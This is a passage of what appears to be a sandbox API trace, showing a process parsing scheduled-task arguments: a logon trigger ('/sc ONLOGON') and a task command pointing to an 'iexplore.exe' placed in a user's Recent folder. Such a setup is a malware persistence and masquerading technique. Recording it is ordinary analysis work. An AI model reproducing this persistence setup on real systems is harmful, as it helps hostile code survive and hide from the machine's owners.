(lpString="sc") returned 2 [0152.386] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.386] lstrlenW (lpString="sc") returned 2 [0152.386] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.386] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|sc|") returned 4 [0152.386] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|sc|") returned 4 [0152.386] lstrlenW (lpString="|sc|") returned 4 [0152.386] lstrlenW (lpString="|sc|") returned 4 [0152.386] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0152.386] SetLastError (dwErrCode=0x0) [0152.386] SetLastError (dwErrCode=0x0) [0152.386] lstrlenW (lpString="ONLOGON") returned 7 [0152.386] lstrlenW (lpString="-/") returned 2 [0152.386] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0152.386] SetLastError (dwErrCode=0x490) [0152.386] SetLastError (dwErrCode=0x490) [0152.386] SetLastError (dwErrCode=0x0) [0152.386] lstrlenW (lpString="ONLOGON") returned 7 [0152.386] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0152.386] SetLastError (dwErrCode=0x490) [0152.386] SetLastError (dwErrCode=0x0) [0152.386] GetProcessHeap () returned 0x180000 [0152.386] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x18) returned 0x19d4c0 [0152.387] _memicmp (_Buf1=0x19d4c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.387] lstrlenW (lpString="ONLOGON") returned 7 [0152.387] GetProcessHeap () returned 0x180000 [0152.387] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x10) returned 0x19d580 [0152.387] lstrlenW (lpString="ONLOGON") returned 7 [0152.387] lstrlenW (lpString=" \x09") returned 2 [0152.387] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0152.387] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0152.387] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0152.387] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0152.387] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0152.387] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0152.387] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0152.387] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0152.387] GetLastError () returned 0x0 [0152.387] lstrlenW (lpString="ONLOGON") returned 7 [0152.387] lstrlenW (lpString="ONLOGON") returned 7 [0152.387] SetLastError (dwErrCode=0x0) [0152.387] SetLastError (dwErrCode=0x0) [0152.387] lstrlenW (lpString="/tr") returned 3 [0152.387] lstrlenW (lpString="-/") returned 2 [0152.387] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0152.387] lstrlenW (lpString="create") returned 6 [0152.387] lstrlenW (lpString="create") returned 6 [0152.387] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.387] lstrlenW (lpString="tr") returned 2 [0152.387] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.387] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|create|") returned 8 [0152.387] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tr|") returned 4 [0152.388] lstrlenW (lpString="|create|") returned 8 [0152.388] lstrlenW (lpString="|tr|") returned 4 [0152.388] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0152.388] SetLastError (dwErrCode=0x490) [0152.388] lstrlenW (lpString="?") returned 1 [0152.388] lstrlenW (lpString="?") returned 1 [0152.388] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.388] lstrlenW (lpString="tr") returned 2 [0152.388] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.388] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|?|") returned 3 [0152.388] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tr|") returned 4 [0152.388] lstrlenW (lpString="|?|") returned 3 [0152.388] lstrlenW (lpString="|tr|") returned 4 [0152.388] SetLastError (dwErrCode=0x490) [0152.388] lstrlenW (lpString="s") returned 1 [0152.388] lstrlenW (lpString="s") returned 1 [0152.388] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.388] lstrlenW (lpString="tr") returned 2 [0152.388] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.388] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|s|") returned 3 [0152.388] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tr|") returned 4 [0152.388] lstrlenW (lpString="|s|") returned 3 [0152.388] lstrlenW (lpString="|tr|") returned 4 [0152.388] SetLastError (dwErrCode=0x490) [0152.389] lstrlenW (lpString="u") returned 1 [0152.389] lstrlenW (lpString="u") returned 1 [0152.389] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.389] lstrlenW (lpString="tr") returned 2 [0152.389] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.389] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|u|") returned 3 [0152.389] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tr|") returned 4 [0152.389] lstrlenW (lpString="|u|") returned 3 [0152.389] lstrlenW (lpString="|tr|") returned 4 [0152.389] SetLastError (dwErrCode=0x490) [0152.389] lstrlenW (lpString="p") returned 1 [0152.389] lstrlenW (lpString="p") returned 1 [0152.389] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.389] lstrlenW (lpString="tr") returned 2 [0152.389] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.389] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|p|") returned 3 [0152.389] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tr|") returned 4 [0152.389] lstrlenW (lpString="|p|") returned 3 [0152.389] lstrlenW (lpString="|tr|") returned 4 [0152.389] SetLastError (dwErrCode=0x490) [0152.389] lstrlenW (lpString="ru") returned 2 [0152.389] lstrlenW (lpString="ru") returned 2 [0152.389] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.390] lstrlenW (lpString="tr") returned 2 [0152.390] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.390] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|ru|") returned 4 [0152.390] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tr|") returned 4 [0152.390] lstrlenW (lpString="|ru|") returned 4 [0152.390] lstrlenW (lpString="|tr|") returned 4 [0152.390] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0152.390] SetLastError (dwErrCode=0x490) [0152.390] lstrlenW (lpString="rp") returned 2 [0152.390] lstrlenW (lpString="rp") returned 2 [0152.390] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.390] lstrlenW (lpString="tr") returned 2 [0152.390] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.390] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rp|") returned 4 [0152.390] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tr|") returned 4 [0152.390] lstrlenW (lpString="|rp|") returned 4 [0152.390] lstrlenW (lpString="|tr|") returned 4 [0152.390] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0152.390] SetLastError (dwErrCode=0x490) [0152.390] lstrlenW (lpString="sc") returned 2 [0152.390] lstrlenW (lpString="sc") returned 2 [0152.390] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.390] lstrlenW (lpString="tr") returned 2 [0152.390] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.390] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|sc|") returned 4 [0152.390] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tr|") returned 4 [0152.390] lstrlenW (lpString="|sc|") returned 4 [0152.390] lstrlenW (lpString="|tr|") returned 4 [0152.390] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0152.390] SetLastError (dwErrCode=0x490) [0152.390] lstrlenW (lpString="mo") returned 2 [0152.390] lstrlenW (lpString="mo") returned 2 [0152.391] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.391] lstrlenW (lpString="tr") returned 2 [0152.391] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.391] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|mo|") returned 4 [0152.391] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tr|") returned 4 [0152.391] lstrlenW (lpString="|mo|") returned 4 [0152.391] lstrlenW (lpString="|tr|") returned 4 [0152.391] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0152.391] SetLastError (dwErrCode=0x490) [0152.391] lstrlenW (lpString="d") returned 1 [0152.391] lstrlenW (lpString="d") returned 1 [0152.391] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.391] lstrlenW (lpString="tr") returned 2 [0152.391] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.391] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|d|") returned 3 [0152.391] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tr|") returned 4 [0152.391] lstrlenW (lpString="|d|") returned 3 [0152.391] lstrlenW (lpString="|tr|") returned 4 [0152.391] SetLastError (dwErrCode=0x490) [0152.391] lstrlenW (lpString="m") returned 1 [0152.391] lstrlenW (lpString="m") returned 1 [0152.391] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.391] lstrlenW (lpString="tr") returned 2 [0152.391] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.391] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|m|") returned 3 [0152.391] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tr|") returned 4 [0152.391] lstrlenW (lpString="|m|") returned 3 [0152.391] lstrlenW (lpString="|tr|") returned 4 [0152.391] SetLastError (dwErrCode=0x490) [0152.391] lstrlenW (lpString="i") returned 1 [0152.391] lstrlenW (lpString="i") returned 1 [0152.391] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.392] lstrlenW (lpString="tr") returned 2 [0152.392] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.392] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|i|") returned 3 [0152.392] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tr|") returned 4 [0152.392] lstrlenW (lpString="|i|") returned 3 [0152.392] lstrlenW (lpString="|tr|") returned 4 [0152.392] SetLastError (dwErrCode=0x490) [0152.392] lstrlenW (lpString="tn") returned 2 [0152.392] lstrlenW (lpString="tn") returned 2 [0152.392] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.392] lstrlenW (lpString="tr") returned 2 [0152.392] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.392] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tn|") returned 4 [0152.392] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tr|") returned 4 [0152.392] lstrlenW (lpString="|tn|") returned 4 [0152.392] lstrlenW (lpString="|tr|") returned 4 [0152.392] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0152.392] SetLastError (dwErrCode=0x490) [0152.392] lstrlenW (lpString="tr") returned 2 [0152.392] lstrlenW (lpString="tr") returned 2 [0152.392] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.392] lstrlenW (lpString="tr") returned 2 [0152.392] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.392] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tr|") returned 4 [0152.392] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tr|") returned 4 [0152.392] lstrlenW (lpString="|tr|") returned 4 [0152.392] lstrlenW (lpString="|tr|") returned 4 [0152.392] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0152.392] SetLastError (dwErrCode=0x0) [0152.392] SetLastError (dwErrCode=0x0) [0152.392] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0152.392] lstrlenW (lpString="-/") returned 2 [0152.392] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0152.393] SetLastError (dwErrCode=0x490) [0152.393] SetLastError (dwErrCode=0x490) [0152.393] SetLastError (dwErrCode=0x0) [0152.393] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0152.393] StrChrIW (lpStart="'C:\\Users\\Default\\Recent\\iexplore.exe'", wMatch=0x3a) returned=":\\Users\\Default\\Recent\\iexplore.exe'" [0152.393] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0152.393] _memicmp (_Buf1=0x19d500, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.393] _memicmp (_Buf1=0x19d540, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.393] SetLastError (dwErrCode=0x7a) [0152.393] SetLastError (dwErrCode=0x0) [0152.393] SetLastError (dwErrCode=0x0) [0152.393] lstrlenW (lpString="'C") returned 2 [0152.393] lstrlenW (lpString="-/") returned 2 [0152.393] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0152.393] SetLastError (dwErrCode=0x490) [0152.393] SetLastError (dwErrCode=0x490) [0152.393] SetLastError (dwErrCode=0x0) [0152.393] _memicmp (_Buf1=0x19d4c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.393] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0152.393] GetProcessHeap () returned 0x180000 [0152.393] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19d580) returned 1 [0152.393] GetProcessHeap () returned 0x180000 [0152.393] RtlReAllocateHeap (Heap=0x180000, Flags=0xc, Ptr=0x19d580, Size=0x4e) returned 0x19c250 [0152.393] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0152.393] lstrlenW (lpString=" \x09") returned 2 [0152.393] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0152.393] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0152.393] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0152.393] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0152.393] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0152.393] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0152.393] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0152.393] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0152.393] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0152.393] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0152.393] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0152.393] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0152.394] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0152.394] GetLastError () returned 0x0 [0152.394] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0152.394] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0152.394] SetLastError (dwErrCode=0x0) [0152.394] SetLastError (dwErrCode=0x0) [0152.394] lstrlenW (lpString="/rl") returned 3 [0152.394] lstrlenW (lpString="-/") returned 2 [0152.394] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0152.394] lstrlenW (lpString="create") returned 6 [0152.394] lstrlenW (lpString="create") returned 6 [0152.394] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.395] lstrlenW (lpString="rl") returned 2 [0152.395] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.395] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|create|") returned 8 [0152.395] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.395] lstrlenW (lpString="|create|") returned 8 [0152.395] lstrlenW (lpString="|rl|") returned 4 [0152.395] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0152.395] SetLastError (dwErrCode=0x490) [0152.395] lstrlenW (lpString="?") returned 1 [0152.395] lstrlenW (lpString="?") returned 1 [0152.395] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.395] lstrlenW (lpString="rl") returned 2 [0152.395] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.395] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|?|") returned 3 [0152.395] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.395] lstrlenW (lpString="|?|") returned 3 [0152.395] lstrlenW (lpString="|rl|") returned 4 [0152.395] SetLastError (dwErrCode=0x490) [0152.395] lstrlenW (lpString="s") returned 1 [0152.395] lstrlenW (lpString="s") returned 1 [0152.395] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.395] lstrlenW (lpString="rl") returned 2 [0152.395] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.395] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|s|") returned 3 [0152.395] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.395] lstrlenW (lpString="|s|") returned 3 [0152.395] lstrlenW (lpString="|rl|") returned 4 [0152.395] SetLastError (dwErrCode=0x490) [0152.395] lstrlenW (lpString="u") returned 1 [0152.395] lstrlenW (lpString="u") returned 1 [0152.395] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.395] lstrlenW (lpString="rl") returned 2 [0152.396] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.396] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|u|") returned 3 [0152.396] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.396] lstrlenW (lpString="|u|") returned 3 [0152.396] lstrlenW (lpString="|rl|") returned 4 [0152.396] SetLastError (dwErrCode=0x490) [0152.396] lstrlenW (lpString="p") returned 1 [0152.396] lstrlenW (lpString="p") returned 1 [0152.396] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.396] lstrlenW (lpString="rl") returned 2 [0152.396] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.396] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|p|") returned 3 [0152.396] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.396] lstrlenW (lpString="|p|") returned 3 [0152.396] lstrlenW (lpString="|rl|") returned 4 [0152.396] SetLastError (dwErrCode=0x490) [0152.396] lstrlenW (lpString="ru") returned 2 [0152.396] lstrlenW (lpString="ru") returned 2 [0152.396] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.396] lstrlenW (lpString="rl") returned 2 [0152.396] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.396] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|ru|") returned 4 [0152.396] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.396] lstrlenW (lpString="|ru|") returned 4 [0152.396] lstrlenW (lpString="|rl|") returned 4 [0152.396] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0152.396] SetLastError (dwErrCode=0x490) [0152.396] lstrlenW (lpString="rp") returned 2 [0152.396] lstrlenW (lpString="rp") returned 2 [0152.396] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.397] lstrlenW (lpString="rl") returned 2 [0152.397] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.397] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rp|") returned 4 [0152.397] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.397] lstrlenW (lpString="|rp|") returned 4 [0152.397] lstrlenW (lpString="|rl|") returned 4 [0152.397] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0152.397] SetLastError (dwErrCode=0x490) [0152.397] lstrlenW (lpString="sc") returned 2 [0152.397] lstrlenW (lpString="sc") returned 2 [0152.397] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.397] lstrlenW (lpString="rl") returned 2 [0152.397] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.397] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|sc|") returned 4 [0152.397] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.397] lstrlenW (lpString="|sc|") returned 4 [0152.397] lstrlenW (lpString="|rl|") returned 4 [0152.397] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0152.397] SetLastError (dwErrCode=0x490) [0152.397] lstrlenW (lpString="mo") returned 2 [0152.397] lstrlenW (lpString="mo") returned 2 [0152.397] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.397] lstrlenW (lpString="rl") returned 2 [0152.397] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.397] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|mo|") returned 4 [0152.397] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.397] lstrlenW (lpString="|mo|") returned 4 [0152.397] lstrlenW (lpString="|rl|") returned 4 [0152.397] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0152.397] SetLastError (dwErrCode=0x490) [0152.398] lstrlenW (lpString="d") returned 1 [0152.398] lstrlenW (lpString="d") returned 1 [0152.398] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.398] lstrlenW (lpString="rl") returned 2 [0152.398] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.398] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|d|") returned 3 [0152.398] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.398] lstrlenW (lpString="|d|") returned 3 [0152.398] lstrlenW (lpString="|rl|") returned 4 [0152.398] SetLastError (dwErrCode=0x490) [0152.398] lstrlenW (lpString="m") returned 1 [0152.398] lstrlenW (lpString="m") returned 1 [0152.398] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.398] lstrlenW (lpString="rl") returned 2 [0152.398] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.398] 